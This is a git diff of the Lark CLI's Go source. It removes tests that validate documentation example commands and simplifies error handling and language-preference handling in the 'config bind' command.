-// this is a self-consistency check: any mismatch (an example using a renamed
-// command or a flag the command doesn't accept) is a bug to fix at the source.
-// It runs over all shortcuts — no baseline, no diff — since a wrong example is
-// always a defect, never acceptable "pre-existing drift".
-func TestShortcutExampleCommands(t *testing.T) {
-	// Reproducibility: use the embedded API metadata (not a developer's stale
-	// ~/.lark-cli remote cache, which can miss commands) and an empty config
-	// dir so local strict mode / plugins / policy cannot reshape the tree.
-	// t.Setenv auto-restores after the test, so other cmd tests are unaffected.
-	t.Setenv("LARKSUITE_CLI_REMOTE_META", "off")
-	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
-
-	cat := buildCmdExampleCatalog()
-
-	type located struct {
-		shortcut string
-		f        finding
-	}
-	var findings []located
-	for _, sc := range shortcuts.AllShortcuts() {
-		var refs []ref
-		for _, tip := range sc.Tips {
-			refs = append(refs, parseRefs(tip)...)
-		}
-		label := strings.TrimSpace(sc.Service + " " + sc.Command)
-		for _, f := range checkRefs(cat, refs) {
-			findings = append(findings, located{shortcut: label, f: f})
-		}
-	}
-
-	if len(findings) == 0 {
-		return
-	}
-	sort.Slice(findings, func(i, j int) bool { return findings[i].shortcut < findings[j].shortcut })
-	for _, lf := range findings {
-		hint := ""
-		if lf.f.suggest != "" {
-			hint = "  (did you mean " + lf.f.suggest + "?)"
-		}
-		if lf.f.kind == unknownFlag {
-			t.Errorf("shortcut %q example uses unknown flag %s on %q%s\n      %s",
-				lf.shortcut, lf.f.flag, lf.f.path, hint, strings.TrimSpace(lf.f.raw))
-		} else {
-			t.Errorf("shortcut %q example uses unknown command %q%s\n      %s",
-				lf.shortcut, lf.f.path, hint, strings.TrimSpace(lf.f.raw))
-		}
-	}
-	t.Fatalf("%d shortcut example command(s) don't match the real CLI — "+
-		"fix the Example in the shortcut definition.", len(findings))
-}
-
-// buildCmdExampleCatalog walks the live cobra command tree and records every
-// command path (minus the "lark-cli" root prefix) with its accepted flags and
-// whether it is a parent group. This is the same Build() the binary uses, so
-// the catalog can never drift from the real commands.
-func buildCmdExampleCatalog() *catalog {
-	root := cmd.Build(context.Background(), cmdutil.InvocationContext{})
-	cat := newCatalog()
-	var walk func(c *cobra.Command)
-	walk = func(c *cobra.Command) {
-		path := strings.TrimSpace(strings.TrimPrefix(c.CommandPath(), "lark-cli"))
-		var flags []string
-		add := func(fl *pflag.Flag) {
-			flags = append(flags, "--"+fl.Name)
-			if fl.Shorthand != "" {
-				flags = append(flags, "-"+fl.Shorthand)
-			}
-		}
-		c.Flags().VisitAll(add)
-		c.InheritedFlags().VisitAll(add)
-		c.PersistentFlags().VisitAll(add) // root's own persistent flags (e.g. --profile)
-		cat.addCommand(path, flags)
-		cat.setGroup(path, c.HasSubCommands())
-		for _, sub := range c.Commands() {
-			walk(sub)
-		}
-	}
-	walk(root)
-	return cat
-}
--- a/cmd/cmdexample_units_test.go
+++ b/cmd/cmdexample_units_test.go
@@ -1,233 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package cmd_test
-
-import (
-	"strings"
-	"testing"
-)
-
-func testCatalog() *catalog {
-	c := newCatalog()
-	c.addCommand("", []string{"--profile"}) // root
-	c.setGroup("", true)
-	c.addCommand("contact", []string{"--profile"})
-	c.setGroup("contact", true)
-	c.addCommand("contact +search-user", []string{"--query", "--as", "--format", "-q"})
-	c.addCommand("api", []string{"--params", "--data", "--as"}) // leaf (no subcommands)
-	c.addCommand("mail", nil)
-	c.setGroup("mail", true)
-	c.addCommand("mail user_mailbox.messages", []string{"--profile"})
-	c.setGroup("mail user_mailbox.messages", true)
-	c.addCommand("mail user_mailbox.messages batch_modify", []string{"--params", "--data"})
-	return c
-}
-
-func TestCmdExampleCatalogHasCommandAndFlag(t *testing.T) {
-	c := testCatalog()
-	if !c.hasCommand("contact +search-user") {
-		t.Fatal("expected contact +search-user to exist")
-	}
-	if c.hasCommand("contact +nope") {
-		t.Fatal("did not expect contact +nope")
-	}
-	if !c.hasFlag("contact +search-user", "--query") {
-		t.Fatal("--query should be valid")
-	}
-	if c.hasFlag("contact +search-user", "--nope") {
-		t.Fatal("--nope should be invalid")
-	}
-	// universal flags pass on any command
-	for _, f := range []string{"--help", "-h", "--version"} {
-		if !c.hasFlag("contact +search-user", f) {
-			t.Fatalf("universal flag %s should pass", f)
-		}
-	}
-}
-
-func TestCmdExampleLongestPrefix(t *testing.T) {
-	c := testCatalog()
-	tests := []struct {
-		words  []string
-		want   string
-		wantN  int
-		wantOK bool
-	}{
-		{[]string{"contact", "+search-user"}, "contact +search-user", 2, true},
-		{[]string{"api", "GET", "/open-apis/x"}, "api", 1, true}, // trailing positionals
-		{[]string{"nope"}, "", 0, false},
-		{nil, "", 0, true}, // empty -> root
-	}
-	for _, tt := range tests {
-		got, n, ok := c.longestPrefix(tt.words)
-		if got != tt.want || n != tt.wantN || ok != tt.wantOK {
-			t.Errorf("longestPrefix(%v) = (%q,%d,%v), want (%q,%d,%v)",
-				tt.words, got, n, ok, tt.want, tt.wantN, tt.wantOK)
-		}
-	}
-}
-
-func refWordsOf(refs []ref) [][]string {
-	var out [][]string
-	for _, r := range refs {
-		out = append(out, r.words)
-	}
-	return out
-}
-
-func TestCmdExampleParseRefsExtractsCommands(t *testing.T) {
-	content := strings.Join([]string{
-		"运行 `lark-cli contact +search-user --query 张三` 搜索", // inline code
-		"```bash",
-		"lark-cli api GET /open-apis/x --params '{}'", // bash block
-		"```",
-		"用 lark-cli mail user_mailbox.messages batch_modify 即可", // bare prose command
-		"npx foo | lark-cli api GET /y",                         // after a pipe
-	}, "\n")
-	refs := parseRefs(content)
-	if len(refs) != 4 {
-		t.Fatalf("expected 4 refs, got %d: %v", len(refs), refWordsOf(refs))
-	}
-	if got := refs[0]; strings.Join(got.words, " ") != "contact +search-user" ||
-		len(got.flags) != 1 || got.flags[0] != "--query" {
-		t.Errorf("ref0 = %+v", got)
-	}
-	if got := refs[1]; strings.Join(got.words, " ") != "api GET /open-apis/x" {
-		t.Errorf("ref1 words = %v", got.words)
-	}
-}
-
-func TestCmdExampleParseRefsFiltersPlaceholdersAndProse(t *testing.T) {
-	// A line whose first word is prose yields no command at all.
-	if refs := parseRefs("lark-cli 就能搞定这件事"); len(refs) != 0 {
-		t.Errorf("prose-first line should yield 0 refs, got %v", refWordsOf(refs))
-	}
-	// Syntax templates / trailing prose may leave a real leading word ("mail"),
-	// but no placeholder or CJK token may leak into the command words — that is
-	// what prevents false positives like an "<resource>" unknown-command report.
-	for _, line := range []string{
-		"lark-cli mail <resource> <method> [flags]",
-		"lark-cli apps +<verb> [flags]",
-		"lark-cli base +...",
-		"lark-cli mail 写信场景下的格式说明",
-	} {
-		for _, r := range parseRefs(line) {
-			for _, w := range r.words {
-				if isPlaceholderOrProse(w) {
-					t.Errorf("%q: placeholder/prose token %q leaked into words %v", line, w, r.words)
-				}
-			}
-		}
-	}
-}
-
-func TestCmdExampleParseRefsStripsTrailingJunk(t *testing.T) {
-	// frontmatter-style quoted value: the trailing quote must not bleed into the flag
-	refs := parseRefs(`cliHelp: "lark-cli contact --help"`)
-	if len(refs) != 1 {
-		t.Fatalf("expected 1 ref, got %d", len(refs))
-	}
-	if len(refs[0].flags) != 1 || refs[0].flags[0] != "--help" {
-		t.Errorf("expected flag --help, got %v", refs[0].flags)
-	}
-	// bare "-" (stdin marker) and "=value" suffix
-	refs = parseRefs("lark-cli api GET /x --params={} --data -")
-	if len(refs) != 1 {
-		t.Fatalf("expected 1 ref, got %d", len(refs))
-	}
-	flags := strings.Join(refs[0].flags, " ")
-	if flags != "--params --data" {
-		t.Errorf("expected '--params --data', got %q", flags)
-	}
-}
-
-func TestCmdExampleCheck(t *testing.T) {
-	c := testCatalog()
-	tests := []struct {
-		name     string
-		r        ref
-		wantKind string // "" = no finding
-		wantPath string
-	}{
-		{"valid shortcut", ref{words: []string{"contact", "+search-user"}, flags: []string{"--query"}}, "", ""},
-		{"valid leaf positional", ref{words: []string{"api", "GET", "/x"}}, "", ""},
-		{"unknown top command", ref{words: []string{"nope"}}, unknownCommand, "nope"},
-		{"group leftover = unknown subcommand",
-			ref{words: []string{"mail", "user_mailbox.messages", "batch_modify_message"}},
-			unknownCommand, "mail user_mailbox.messages batch_modify_message"},
-		{"unknown flag", ref{words: []string{"contact", "+search-user"}, flags: []string{"--nope"}}, unknownFlag, "contact +search-user"},
-		{"universal flag ok", ref{words: []string{"contact", "+search-user"}, flags: []string{"--help"}}, "", ""},
-	}
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			fs := checkRefs(c, []ref{tt.r})
-			if tt.wantKind == "" {
-				if len(fs) != 0 {
-					t.Fatalf("expected no finding, got %+v", fs)
-				}
-				return
-			}
-			if len(fs) != 1 {
-				t.Fatalf("expected 1 finding, got %d: %+v", len(fs), fs)
-			}
-			if fs[0].kind != tt.wantKind || fs[0].path != tt.wantPath {
-				t.Errorf("got kind=%s path=%q, want kind=%s path=%q", fs[0].kind, fs[0].path, tt.wantKind, tt.wantPath)
-			}
-		})
-	}
-}
-
-func TestCmdExampleCheckSuggestsNearest(t *testing.T) {
-	c := testCatalog()
-	fs := checkRefs(c, []ref{{words: []string{"mail", "user_mailbox.messages", "batch_modify_message"}}})
-	if len(fs) != 1 || fs[0].suggest != "mail user_mailbox.messages batch_modify" {
-		t.Fatalf("expected suggestion 'mail user_mailbox.messages batch_modify', got %+v", fs)
-	}
-}
-
-// TestCmdExampleParseRefsRobustness covers the parser edge cases hardened after
-// review: backslash continuation, underscore flags, $(...) substitution, glued
-// separators, trailing punctuation, and the "..." placeholder.
-func TestCmdExampleParseRefsRobustness(t *testing.T) {
-	cases := []struct {
-		name, content, wantWords, wantFlags string
-		wantRefs                            int
-	}{
-		{"backslash continuation joins flags",
-			"lark-cli contact +search-user \\\n  --query foo \\\n  --as user",
-			"contact +search-user", "--query --as", 1},
-		{"underscore flag not truncated",
-			"lark-cli whiteboard +update --input_format mermaid",
-			"whiteboard +update", "--input_format", 1},
-		{"command-substitution flags ignored",
-			`lark-cli slides x create --data "$(jq -n --arg c '{}')" --as user`,
-			"slides x create", "--data --as", 1},
-		{"glued separator truncates",
-			"lark-cli auth login; echo done",
-			"auth login", "", 1},
-		{"trailing CJK punctuation stripped",
-			"用 lark-cli auth login。",
-			"auth login", "", 1},
-		{"ellipsis placeholder stays placeholder",
-			"lark-cli base +...",
-			"base", "", 1},
-	}
-	for _, tt := range cases {
-		t.Run(tt.name, func(t *testing.T) {
-			refs := parseRefs(tt.content)
-			if len(refs) != tt.wantRefs {
-				t.Fatalf("refs=%d want %d: %v", len(refs), tt.wantRefs, refWordsOf(refs))
-			}
-			if tt.wantRefs == 0 {
-				return
-			}
-			if got := strings.Join(refs[0].words, " "); got != tt.wantWords {
-				t.Errorf("words=%q want %q", got, tt.wantWords)
-			}
-			if got := strings.Join(refs[0].flags, " "); got != tt.wantFlags {
-				t.Errorf("flags=%q want %q", got, tt.wantFlags)
-			}
-		})
-	}
-}
--- a/cmd/command_catalog_path_test.go
+++ b/cmd/command_catalog_path_test.go
@@ -1,52 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package cmd
-
-import (
-	"reflect"
-	"testing"
-
-	"github.com/spf13/cobra"
-)
-
-// TestCommandCatalogPath pins that the auth-hint path reconstruction inverts the
-// service command tree for any depth — flat dotted resources AND genuinely
-// nested resources — so it round-trips through apicatalog.Resolve instead of
-// assuming a fixed root->service->resource->method shape.
-func TestCommandCatalogPath(t *testing.T) {
-	chain := func(names ...string) *cobra.Command {
-		var parent, leaf *cobra.Command
-		for _, n := range names {
-			c := &cobra.Command{Use: n}
-			if parent != nil {
-				parent.AddCommand(c)
-			}
-			parent = c
-			leaf = c
-		}
-		return leaf
-	}
-
-	tests := []struct {
-		name string
-		leaf *cobra.Command
-		want []string
-	}{
-		{"flat dotted resource", chain("lark-cli", "im", "chat.members", "create"), []string{"im", "chat.members", "create"}},
-		{"nested resources", chain("lark-cli", "im", "spaces", "items", "get"), []string{"im", "spaces", "items", "get"}},
-		{"service level", chain("lark-cli", "im"), []string{"im"}},
-	}
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			if got := commandCatalogPath(tt.leaf); !reflect.DeepEqual(got, tt.want) {
-				t.Errorf("commandCatalogPath = %v, want %v", got, tt.want)
-			}
-		})
-	}
-
-	// The root command (no parent) has no catalog path.
-	if got := commandCatalogPath(&cobra.Command{Use: "lark-cli"}); len(got) != 0 {
-		t.Errorf("root path = %v, want empty", got)
-	}
-}
--- a/cmd/completion/completion.go
+++ b/cmd/completion/completion.go
@@ -4,7 +4,8 @@
 package completion

 import (
-	"github.com/larksuite/cli/errs"
+	"fmt"
+
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/spf13/cobra"
 )
@@ -31,9 +32,7 @@ func NewCmdCompletion(f *cmdutil.Factory) *cobra.Command {
 			case "powershell":
 				return root.GenPowerShellCompletionWithDesc(out)
 			default:
-				return errs.NewValidationError(errs.SubtypeInvalidArgument,
-					"unsupported shell: %s", args[0]).
-					WithHint("supported shells: bash, zsh, fish, powershell")
+				return fmt.Errorf("unsupported shell: %s", args[0])
 			}
 		},
 	}
--- a/cmd/config/bind.go
+++ b/cmd/config/bind.go
@@ -12,10 +12,8 @@ import (
 	"github.com/charmbracelet/huh"
 	"github.com/spf13/cobra"

-	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/cmdutil"
 	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/i18n"
 	"github.com/larksuite/cli/internal/keychain"
 	"github.com/larksuite/cli/internal/output"
 	"github.com/larksuite/cli/internal/validate"
@@ -39,10 +37,8 @@ type BindOptions struct {
 	// this flag because its own prompts already require human confirmation.
 	Force bool

-	Lang         string // raw --lang (string for cobra); normalized to canonical/"" in validateBindFlags
-	langExplicit bool   // true when --lang was explicitly passed
-
-	UILang i18n.Lang // TUI display language (picker-only); intentionally separate from --lang
+	Lang         string
+	langExplicit bool // true when --lang was explicitly passed

 	// Brand holds the resolved Lark product brand ("feishu" | "lark") for
 	// the account being bound. Populated after resolveAccount; TUI stages
@@ -59,7 +55,7 @@ type BindOptions struct {

 // NewCmdConfigBind creates the config bind subcommand.
 func NewCmdConfigBind(f *cmdutil.Factory, runF func(*BindOptions) error) *cobra.Command {
-	opts := &BindOptions{Factory: f, UILang: i18n.LangZhCN}
+	opts := &BindOptions{Factory: f}

 	cmd := &cobra.Command{
 		Use:   "bind",
@@ -106,7 +102,7 @@ Interactive terminal use: run with no flags to enter the TUI form.`,
 	cmd.Flags().StringVar(&opts.AppID, "app-id", "", "App ID to bind (required for OpenClaw multi-account)")
 	cmd.Flags().StringVar(&opts.Identity, "identity", "", "identity preset (bot-only|user-default); defaults to bot-only in flag mode (safer: no impersonation)")
 	cmd.Flags().BoolVar(&opts.Force, "force", false, "confirm a risky transition (currently: bot-only → user-default identity change in flag mode)")
-	cmd.Flags().StringVar(&opts.Lang, "lang", "", "language preference (e.g. zh or zh_cn)")
+	cmd.Flags().StringVar(&opts.Lang, "lang", "zh", "language for interactive prompts (zh|en)")
 	cmdutil.SetRisk(cmd, "write")

 	return cmd
@@ -151,7 +147,7 @@ func configBindRun(opts *BindOptions) error {
 	if err := warnIdentityEscalation(opts, existing.ConfigBytes); err != nil {
 		return err
 	}
-	applyPreferences(appConfig, opts, priorLang(existing.ConfigBytes))
+	applyPreferences(appConfig, opts)
 	noticeUserDefaultRisk(opts)

 	return commitBinding(opts, appConfig, existing.ConfigBytes, source, targetConfigPath)
@@ -182,7 +178,7 @@ type existingBinding struct {
 func finalizeSource(opts *BindOptions) (string, error) {
 	explicit := strings.TrimSpace(strings.ToLower(opts.Source))
 	if explicit != "" && explicit != "openclaw" && explicit != "hermes" && explicit != "lark-channel" {
-		return "", errs.NewValidationError(errs.SubtypeInvalidArgument, "invalid --source %q; valid values: openclaw, hermes, lark-channel", explicit).WithParam("--source")
+		return "", output.ErrValidation("invalid --source %q; valid values: openclaw, hermes, lark-channel", explicit)
 	}

 	var detected string
@@ -199,23 +195,23 @@ func finalizeSource(opts *BindOptions) (string, error) {
 	// before any interactive prompts — running inside Hermes with
 	// --source openclaw (or vice versa) is almost always a mistake.
 	if explicit != "" && detected != "" && explicit != detected {
-		return "", errs.NewValidationError(errs.SubtypeInvalidArgument,
-			"--source %q does not match detected Agent environment (%s)", explicit, detected).
-			WithHint("remove --source to auto-detect, or run this command in the correct Agent context").
-			WithParam("--source")
+		return "", output.ErrWithHint(output.ExitValidation, "bind",
+			fmt.Sprintf("--source %q does not match detected Agent environment (%s)", explicit, detected),
+			"remove --source to auto-detect, or run this command in the correct Agent context")
 	}

 	// TUI: prompt for language before any downstream prompts. The source
 	// selection itself may still be skipped entirely if --source or the
-	// env already pinned it. Picker offers 2 options (中文 / English) and
-	// drives BOTH opts.Lang (preference) and opts.UILang (TUI rendering).
+	// env already pinned it.
 	if opts.IsTUI && !opts.langExplicit {
-		lang, err := promptLangSelection()
+		lang, err := promptLangSelection("")
 		if err != nil {
-			return "", langSelectionError(err)
+			if err == huh.ErrUserAborted {
+				return "", output.ErrBare(1)
+			}
+			return "", err
 		}
-		opts.Lang = string(lang)
-		opts.UILang = lang
+		opts.Lang = lang
 	}

 	if explicit != "" {
@@ -227,10 +223,9 @@ func finalizeSource(opts *BindOptions) (string, error) {
 	if opts.IsTUI {
 		return tuiSelectSource(opts)
 	}
-	return "", errs.NewValidationError(errs.SubtypeInvalidArgument,
-		"cannot determine Agent source: no --source flag and no Agent environment detected").
-		WithHint("pass --source openclaw|hermes|lark-channel, or run this command inside the corresponding Agent context").
-		WithParam("--source")
+	return "", output.ErrWithHint(output.ExitValidation, "bind",
+		"cannot determine Agent source: no --source flag and no Agent environment detected",
+		"pass --source openclaw|hermes|lark-channel, or run this command inside the corresponding Agent context")
 }

 // reconcileExistingBinding reads any existing config at configPath and decides
@@ -250,7 +245,7 @@ func reconcileExistingBinding(opts *BindOptions, source, configPath string) (exi
 			return existingBinding{}, err
 		}
 		if action == "cancel" {
-			msg := getBindMsg(opts.UILang)
+			msg := getBindMsg(opts.Lang)
 			fmt.Fprintln(opts.Factory.IOStreams.ErrOut, msg.ConflictCancelled)
 			return existingBinding{Cancelled: true}, nil
 		}
@@ -334,10 +329,9 @@ func warnIdentityEscalation(opts *BindOptions, previousConfigBytes []byte) error
 	if !hasStrictBotLock(previousConfigBytes) {
 		return nil
 	}
-	msg := getBindMsg(opts.UILang)
-	return errs.NewConfirmationRequiredError(errs.RiskHighRiskWrite,
-		"config bind --force", "%s", msg.IdentityEscalationMessage).
-		WithHint("%s", msg.IdentityEscalationHint)
+	msg := getBindMsg(opts.Lang)
+	return output.ErrWithHint(output.ExitValidation, "bind",
+		msg.IdentityEscalationMessage, msg.IdentityEscalationHint)
 }

 // noticeUserDefaultRisk surfaces the user-identity impersonation risk on every
@@ -353,23 +347,14 @@ func noticeUserDefaultRisk(opts *BindOptions) {
 	if opts.IsTUI || opts.Identity != "user-default" {
 		return
 	}
-	msg := getBindMsg(opts.UILang)
+	msg := getBindMsg(opts.Lang)
 	fmt.Fprintln(opts.Factory.IOStreams.ErrOut, "⚠️ "+msg.IdentityEscalationMessage)
 }

 // applyPreferences expands the chosen identity preset into the underlying
 // StrictMode + DefaultAs on the AppConfig. Always writes both fields so the
 // profile's intent survives later changes to global strict-mode settings.
-// preferredLang resolves the language to persist: the requested value when set,
-// otherwise the prior one — so an unset --lang never clears a stored preference.
-func preferredLang(requested, prior i18n.Lang) i18n.Lang {
-	if requested != "" {
-		return requested
-	}
-	return prior
-}
-
-func applyPreferences(appConfig *core.AppConfig, opts *BindOptions, prior i18n.Lang) {
+func applyPreferences(appConfig *core.AppConfig, opts *BindOptions) {
 	switch opts.Identity {
 	case "bot-only":
 		sm := core.StrictModeBot
@@ -380,23 +365,9 @@ func applyPreferences(appConfig *core.AppConfig, opts *BindOptions, prior i18n.L
 		appConfig.StrictMode = &sm
 		appConfig.DefaultAs = core.AsUser
 	}
-	appConfig.Lang = preferredLang(i18n.Lang(opts.Lang), prior)
-}
-
-// priorLang returns the language preference recorded in a previous config, or
-// "" if there is none / the bytes don't parse. Reads from CurrentApp (or Apps[0]
-// fallback) — scanning all apps for the first non-empty Lang would leak the
-// wrong profile's preference into a re-bind when the workspace holds multiple
-// named profiles and the active one disagrees with Apps[0].
-func priorLang(previousConfigBytes []byte) i18n.Lang {
-	var multi core.MultiAppConfig
-	if json.Unmarshal(previousConfigBytes, &multi) != nil {
-		return ""
+	if opts.Lang != "" {
+		appConfig.Lang = opts.Lang
 	}
-	if app := multi.CurrentAppConfig(""); app != nil {
-		return app.Lang
-	}
-	return ""
 }

 // commitBinding finalizes the bind: atomic write of the new workspace config,
@@ -408,21 +379,21 @@ func commitBinding(opts *BindOptions, appConfig *core.AppConfig, previousConfigB
 	multi := &core.MultiAppConfig{Apps: []core.AppConfig{*appConfig}}

 	if err := vfs.MkdirAll(core.GetConfigDir(), 0700); err != nil {
-		return errs.NewInternalError(errs.SubtypeFileIO, "failed to create workspace directory: %v", err).WithCause(err)
+		return output.Errorf(output.ExitInternal, "bind",
+			"failed to create workspace directory: %v", err)
 	}
 	data, err := json.MarshalIndent(multi, "", "  ")
 	if err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "failed to marshal config: %v", err).WithCause(err)
+		return output.Errorf(output.ExitInternal, "bind",
+			"failed to marshal config: %v", err)
 	}
 	if err := validate.AtomicWrite(configPath, append(data, '\n'), 0600); err != nil {
-		return errs.NewInternalError(errs.SubtypeStorage, "failed to write config %s: %v", configPath, err).WithCause(err)
+		return output.Errorf(output.ExitInternal, "bind",
+			"failed to write config %s: %v", configPath, err)
 	}

 	replaced := previousConfigBytes != nil
-	// uiMsg renders human-facing TUI text (stderr success banner). Follows
-	// opts.UILang — zh by default; picker can flip it to en. --lang does
-	// not influence the TUI language.
-	uiMsg := getBindMsg(opts.UILang)
+	msg := getBindMsg(opts.Lang)
 	display := sourceDisplayName(source)

 	if replaced {
@@ -430,11 +401,7 @@ func commitBinding(opts *BindOptions, appConfig *core.AppConfig, previousConfigB
 	}

 	fmt.Fprintln(opts.Factory.IOStreams.ErrOut,
-		fmt.Sprintf(uiMsg.BindSuccessHeader, display)+"\n"+uiMsg.BindSuccessNotice)
-
-	if opts.langExplicit && opts.Lang != "" {
-		fmt.Fprintln(opts.Factory.IOStreams.ErrOut, fmt.Sprintf(uiMsg.LangPreferenceSet, opts.Lang))
-	}
+		fmt.Sprintf(msg.BindSuccessHeader, display)+"\n"+msg.BindSuccessNotice)

 	// TUI mode is a human sitting at a terminal; the BindSuccess notice on
 	// stderr is enough and a machine-readable JSON dump on stdout is just
@@ -452,17 +419,12 @@ func commitBinding(opts *BindOptions, appConfig *core.AppConfig, previousConfigB
 		"replaced":    replaced,
 		"identity":    opts.Identity,
 	}
-	// JSON "message" follows the effective preference on disk (appConfig.Lang),
-	// not the raw --lang value: when --lang is omitted on re-bind, preferredLang
-	// has already inherited the prior preference into appConfig.Lang, and the
-	// message should respect that inherited choice. stderr above follows UILang.
-	prefMsg := getBindMsg(appConfig.Lang)
-	brand := brandDisplay(string(appConfig.Brand), appConfig.Lang)
+	brand := brandDisplay(string(appConfig.Brand), opts.Lang)
 	switch opts.Identity {
 	case "bot-only":
-		envelope["message"] = fmt.Sprintf(prefMsg.MessageBotOnly, appConfig.AppId, display, brand)
+		envelope["message"] = fmt.Sprintf(msg.MessageBotOnly, appConfig.AppId, display, brand)
 	case "user-default":
-		envelope["message"] = fmt.Sprintf(prefMsg.MessageUserDefault, appConfig.AppId, display, display)
+		envelope["message"] = fmt.Sprintf(msg.MessageUserDefault, appConfig.AppId, display, display)
 	}

 	resultJSON, _ := json.Marshal(envelope)
@@ -499,7 +461,7 @@ func cleanupKeychainFromData(kc keychain.KeychainAccess, data []byte, keep *core

 // tuiSelectSource prompts user to choose bind source.
 func tuiSelectSource(opts *BindOptions) (string, error) {
-	msg := getBindMsg(opts.UILang)
+	msg := getBindMsg(opts.Lang)
 	var source string

 	// Pre-select based on detected env signals
@@ -524,7 +486,7 @@ func tuiSelectSource(opts *BindOptions) (string, error) {
 		huh.NewGroup(
 			huh.NewSelect[string]().
 				Title(msg.SelectSource).
-				Description(fmt.Sprintf(msg.SelectSourceDesc, brandDisplay(opts.Brand, opts.UILang))).
+				Description(fmt.Sprintf(msg.SelectSourceDesc, brandDisplay(opts.Brand, opts.Lang))).
 				Options(
 					huh.NewOption(fmt.Sprintf(msg.SourceOpenClaw, openclawPath), "openclaw"),
 					huh.NewOption(fmt.Sprintf(msg.SourceHermes, hermesEnvPath), "hermes"),
@@ -546,7 +508,7 @@ func tuiSelectSource(opts *BindOptions) (string, error) {
 // tuiSelectApp prompts the user to choose from multiple account candidates.
 // Invoked only via selectCandidate's tuiPrompt callback, and only in TUI mode.
 func tuiSelectApp(opts *BindOptions, source string, candidates []Candidate) (*Candidate, error) {
-	msg := getBindMsg(opts.UILang)
+	msg := getBindMsg(opts.Lang)
 	options := make([]huh.Option[int], 0, len(candidates))
 	for i, c := range candidates {
 		label := c.AppID
@@ -560,7 +522,7 @@ func tuiSelectApp(opts *BindOptions, source string, candidates []Candidate) (*Ca
 	form := huh.NewForm(
 		huh.NewGroup(
 			huh.NewSelect[int]().
-				Title(fmt.Sprintf(msg.SelectAccount, sourceDisplayName(source), brandDisplay(opts.Brand, opts.UILang))).
+				Title(fmt.Sprintf(msg.SelectAccount, sourceDisplayName(source), brandDisplay(opts.Brand, opts.Lang))).
 				Options(options...).
 				Value(&selected),
 		),
@@ -577,7 +539,7 @@ func tuiSelectApp(opts *BindOptions, source string, candidates []Candidate) (*Ca

 // tuiConflictPrompt shows existing binding and asks user to Force or Cancel.
 func tuiConflictPrompt(opts *BindOptions, source, configPath string) (string, error) {
-	msg := getBindMsg(opts.UILang)
+	msg := getBindMsg(opts.Lang)

 	// Build existing binding summary
 	existingSummary := fmt.Sprintf(msg.ConflictDesc, source, "?", "?", configPath)
@@ -626,14 +588,9 @@ func validateBindFlags(opts *BindOptions) error {
 		switch opts.Identity {
 		case "bot-only", "user-default":
 		default:
-			return errs.NewValidationError(errs.SubtypeInvalidArgument, "invalid --identity %q; valid values: bot-only, user-default", opts.Identity).WithParam("--identity")
+			return output.ErrValidation("invalid --identity %q; valid values: bot-only, user-default", opts.Identity)
 		}
 	}
-	lang, err := cmdutil.ParseLangFlag(opts.Lang)
-	if err != nil {
-		return err
-	}
-	opts.Lang = string(lang)
 	return nil
 }

@@ -649,8 +606,8 @@ func validateBindFlags(opts *BindOptions) error {
 // DescriptionFunc approach breaks here because a longer description on
 // hover pushes options out of the field's initial viewport.
 func tuiSelectIdentity(opts *BindOptions) (string, error) {
-	msg := getBindMsg(opts.UILang)
-	brand := brandDisplay(opts.Brand, opts.UILang)
+	msg := getBindMsg(opts.Lang)
+	brand := brandDisplay(opts.Brand, opts.Lang)
 	botLabel := msg.IdentityBotOnly + "\n" + indent(fmt.Sprintf(msg.IdentityBotOnlyDesc, brand))
 	userLabel := msg.IdentityUserDefault + "\n" + indent(fmt.Sprintf(msg.IdentityUserDefaultDesc, brand, brand))
 	var value string
--- a/cmd/config/bind_messages.go
+++ b/cmd/config/bind_messages.go
@@ -3,8 +3,6 @@

 package config

-import "github.com/larksuite/cli/internal/i18n"
-
 // bindMsg holds all TUI text for config bind, supporting zh/en via --lang.
 //
 // Brand-aware strings use a %s slot where the UI-friendly product name
@@ -86,11 +84,6 @@ type bindMsg struct {
 	// require in-flow human confirmation.
 	IdentityEscalationMessage string
 	IdentityEscalationHint    string
-
-	// LangPreferenceSet is printed to stderr after a successful bind when the
-	// user explicitly passed --lang. Format: language code. Not printed when
-	// --lang was not explicit (i.e., the cobra default zh stayed in effect).
-	LangPreferenceSet string
 }

 var bindMsgZh = &bindMsg{
@@ -123,8 +116,6 @@ var bindMsgZh = &bindMsg{

 	IdentityEscalationMessage: "你正在从应用身份切换到用户身份 —— 切换后 AI 将以你的名义在飞书中执行所有操作（读写文档、搜索消息、修改日程等）。⚠️ 请勿将此机器人分享给他人或拉入群聊中使用，以免泄露你的飞书数据。",
 	IdentityEscalationHint:    "若用户确认切换，附加 --force 重新运行：`lark-cli config bind --identity user-default --force`",
-
-	LangPreferenceSet: "语言偏好已设置：%s",
 }

 var bindMsgEn = &bindMsg{
@@ -159,13 +150,10 @@ var bindMsgEn = &bindMsg{

 	IdentityEscalationMessage: "you are switching from bot-only to user-default — the AI will then act under your Feishu identity for all operations (docs, messages, calendar, etc.). ⚠️ Don't share this bot with others or add it to group chats. It has access to your personal Feishu data.",
 	IdentityEscalationHint:    "if the user confirms the switch, re-run with --force: `lark-cli config bind --identity user-default --force`",
-
-	LangPreferenceSet: "Language preference set to: %s",
 }

-// getBindMsg picks the zh/en TUI bundle; non-English falls back to zh.
-func getBindMsg(lang i18n.Lang) *bindMsg {
-	if lang.IsEnglish() {
+func getBindMsg(lang string) *bindMsg {
+	if lang == "en" {
 		return bindMsgEn
 	}
 	return bindMsgZh
@@ -176,11 +164,11 @@ func getBindMsg(lang i18n.Lang) *bindMsg {
 // "feishu" (or empty / unknown) maps to "飞书" in zh and "Feishu" in en —
 // this is the safe default when the brand hasn't been resolved yet (for
 // example, on the pre-binding source-selection screen).
-func brandDisplay(brand string, lang i18n.Lang) string {
+func brandDisplay(brand, lang string) string {
 	if brand == "lark" || brand == "Lark" || brand == "LARK" {
 		return "Lark"
 	}
-	if lang.IsEnglish() {
+	if lang == "en" {
 		return "Feishu"
 	}
 	return "飞书"
